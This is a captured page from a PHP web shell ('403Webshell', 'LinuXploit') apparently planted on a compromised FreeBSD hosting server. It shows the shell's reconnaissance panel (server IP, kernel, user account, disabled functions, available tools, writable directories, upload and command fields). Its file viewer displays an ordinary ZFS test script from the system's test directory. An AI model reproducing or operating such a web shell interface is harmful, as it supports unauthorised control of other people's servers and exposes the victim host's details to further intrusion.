403Webshell
Server IP : 49.212.180.16  /  Your IP : 18.189.43.15
Web Server : Apache
System : FreeBSD www2606.sakura.ne.jp 13.0-RELEASE-p14 FreeBSD 13.0-RELEASE-p14 #2: Mon Dec 9 13:54:55 JST 2024 root@www5301.sakura.ne.jp:/usr/obj/usr/src/amd64.amd64/sys/GENERIC amd64
User : utannto ( 1076)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/tests/sys/cddl/zfs/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/tests/sys/cddl/zfs/bin/zpool_bsd
#!/usr/local/bin/ksh93 -p
#

# $FreeBSD$

cmd=$1

if [[ -z $cmd ]]; then
	return 0
fi

shift


typeset option
case $cmd in
	create|add|attach|detach|replace|remove|online|offline|clear)
		for arg in $@; do
			if [[ $arg == "/dev/"* ]]; then
				arg=${arg#/dev/}
				arg="/dev/"$arg
			fi
			if [[ $arg == "/dev/"* ]]; then
				echo $arg | egrep "*s[0-9]$" > /dev/null 2>&1
				if [ $? -eq 0 ]
				then
					n=`echo $arg| wc -c`
					set -A map a b c d e f g h i j
					s=`echo $arg | cut -c $((n-1))`
					arg=${arg%s[0-9]}${map[$s]}
				fi
			fi

			option="${option} $arg"
		done
		;;
	*)
		option="$@"
		;;
esac

echo $cmd $option

Youez - 2016 - github.com/yon3zu
LinuXploit